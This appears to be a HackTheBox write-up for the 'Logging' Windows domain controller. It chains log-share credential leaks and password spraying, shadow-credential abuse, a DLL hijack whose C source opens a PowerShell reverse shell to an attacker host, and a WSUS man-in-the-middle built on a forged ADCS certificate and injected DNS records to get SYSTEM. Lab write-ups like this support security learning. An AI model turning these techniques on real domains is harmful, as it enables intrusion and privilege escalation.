Logging Writeup - HackTheBox
Created April 18, 2026 • Last updated August 8, 2026 • 7 min read
Discovery
Port Scan
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows AD LDAP (Domain: logging.htb) 445/tcp open microsoft-ds 464/tcp open kpasswd5 636/tcp open ssl/ldap 3269/tcp open ssl/ldap 5985/tcp open http Microsoft HTTPAPI (WinRM) 8530/tcp open http Microsoft IIS httpd 10.0 8531/tcp open ssl/unknown (CN=DC01.logging.htb) 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows
This is a Domain Controller for logging.htb. Ports 8530/8531 are WSUS (Windows Server Update Services). Sync the clock immediately to avoid Kerberos issues:
Add hosts entries:
Initial Access
Credential Discovery , Logs Share
First credentials come from HackTheBox: wallace.everette / $WALLACE_PASSWORD. With these, enumerate LDAP and SMB:
Administrator, Guest, krbtgt, svc_recovery, jaylee.clifton, monique.chip, kyson.abel, fable.milford, wellington.kylan, serina.philander, wallace.everette, toby.brynleigh
Share Permissions ----- ----------- IPC$ READ Logs READ NETLOGON READ SYSVOL READ WSUSTemp (no access)
The Logs share is non-standard. Download everything:
Four log files arrive. IdentitySync_Trace_20260219.log contains a verbose connection context dump from an identity sync service:
VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01",
SSL: "False", BindUser: "LOGGING\svc_recovery",
BindPass: "$SVC_RECOVERY_PASSWORD_OLD", Timeout: 30 }
ERROR - AcceptSecurityContext error, data 52e — LDAP_INVALID_CREDENTIALS
The password logged is stale (the service failed authentication with it), but the pattern is clear: the password was rotated. The pwlist.txt file in the share contains a wordlist of likely password variants. Spray against all users:
The updated password for svc_recovery matches one of the variants: $SVC_RECOVERY_PASSWORD.
Shadow Credentials → msa_health$ NT Hash
svc_recovery has STATUS_ACCOUNT_RESTRICTION on SMB and WinRM , interactive logon is blocked, but LDAP works. Get a TGT via Kerberos and use it to query the GMSA:
BloodHound shows svc_recovery has write access to msa_health$'s msDS-KeyCredentialLink attribute. Use pywhisker to add a shadow credential:
[+] Updated the msDS-KeyCredentialLink attribute of msa_health$ [+] Saved PFX (#PKCS12) certificate & key at path: CQFHM4TB.pfx [*] Must be used with password: $PFX_PASSWORD
Get a TGT for msa_health$ using PKINIT:
AS-REP encryption key: $ASREP_KEY Saved TGT to file
Recover the NT hash:
Recovered NT Hash $MSA_HEALTH_HASH
Shell as msa_health$
*Evil-WinRM* PS C:\Users\msa_health$\Documents>
Lateral Movement , DLL Hijack via UpdateMonitor
Scheduled Task Analysis
A monitor.ps1 sits in the msa_health$ documents folder. It monitors the UpdateChecker Agent scheduled task via COM. Inspect that task directly:
The task runs as jaylee.clifton every minute. Reverse-engineer UpdateMonitor.exe via strings:
The binary checks for Settings_Update.zip at a writable path, extracts settings_update.dll into C:\Program Files\UpdateMonitor\bin\, then calls the exported PreUpdateCheck function. msa_health$ can write to C:\ProgramData\UpdateMonitor\:
The task context runs as jaylee.clifton. This is a DLL hijack into that user's session.
Building the Malicious DLL
The binary is 32-bit , confirm with a PE header check before compiling:
# 32-bit
Build a 32-bit DLL with a PowerShell reverse shell in the PreUpdateCheck export:
#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
return TRUE;
}
__declspec(dllexport) void PreUpdateCheck() {
system("cmd /c powershell -e <BASE64_REVERSE_SHELL>");
}
Upload and watch the log:
[2026-04-18 21:17:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\ [2026-04-18 21:17:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll [2026-04-18 21:17:15] Calling 'PreUpdateCheck' in settings_update.dll
listening on [$ATTACKER_IP] $ATTACKER_PORT ... connect to [$ATTACKER_IP] from DC01 PS C:\Windows\system32>
Shell as jaylee.clifton. Grab user.txt from C:\Users\jaylee.clifton\Desktop\.
Privilege Escalation , WSUS MITM
Enumerating the WSUS Setup
# WSUS Server: https://wsus.logging.htb:8531
# toby.brynleigh (local admin) # Administrator, Domain Admins, Enterprise Admins
jaylee.clifton is a member of the IT group. Checking the Windows Update registry policy:
# WUServer: https://wsus.logging.htb:8531 # UseWUServer: 0x1
The machine trusts a WSUS server at wsus.logging.htb over HTTPS (port 8531). If we can MitM that hostname, we can push a fake update that runs as SYSTEM via PsExec.
Obtaining a Valid TLS Certificate via ADCS
jaylee.clifton can request certificates. Enumerate the CA and available templates:
Request a certificate for wsus.logging.htb using the UpdateSrv template (allows DNS SAN):
[*] Got certificate with DNS Host Name 'wsus.logging.htb' [*] Wrote certificate and private key to 'output.pfx'
Extract the cert and key for use in the WSUS server:
DNS Injection , Point wsus.logging.htb at the Attacker
Using dnstool.py from krbrelayx with jaylee.clifton's Kerberos ticket, add an A record pointing wsus.logging.htb to the attacker machine:
[+] LDAP operation completed successfully
Also add wsus.logging.htb to the attacker's /etc/hosts so the WSUS server binds correctly:
WSUS MITM with wsuks
Start the fake WSUS server using the legitimate domain-signed certificate. The payload is PsExec running a PowerShell reverse shell as SYSTEM:
[+] Received POST request: GetConfig [+] Received POST request: GetCookie [+] Received POST request: SyncUpdates [+] Received POST request: GetExtendedUpdateInfo [+] GET request for exe: PsExec64.exe [+] GET request for exe: PsExec64.exe
listening on [$ATTACKER_IP] 5555 ... connect to [$ATTACKER_IP] from DC01 PS C:\Users> cd toby.brynleigh\Desktop PS C:\Users\toby.brynleigh\Desktop> cat root.txt
Root flag obtained from toby.brynleigh's desktop , the local administrator account.
Related
References
-
Shadow Credentials manipulation tool
-
gettgtpkinit and getnthash for PKINIT-based NT hash recovery
-
WSUS MITM attack tool
-
krbrelayx / dnstool.pyREPO: krbrelayx / dnstool.py, github.com/dirkjanm/krbrelayx (opens in new tab)
DNS record injection via LDAP with Kerberos auth
-
Nettitude: SharpWSUS and WSUS Attack WeaponizationLINK: Nettitude: SharpWSUS and WSUS Attack Weaponization , www.nettitude.com/uk/research-blog/sharphound-and-wsus-weaponization (opens in new tab)
Phil Keeble
-
WSUS abuse tool (Invoke-SharpWSUS)
-
Active Directory Certificate Services enumeration and exploitation
-
Microsoft Docs: Windows Server Update Services (WSUS) overviewDOCS: Microsoft Docs: Windows Server Update Services (WSUS) overview, learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus (opens in new tab)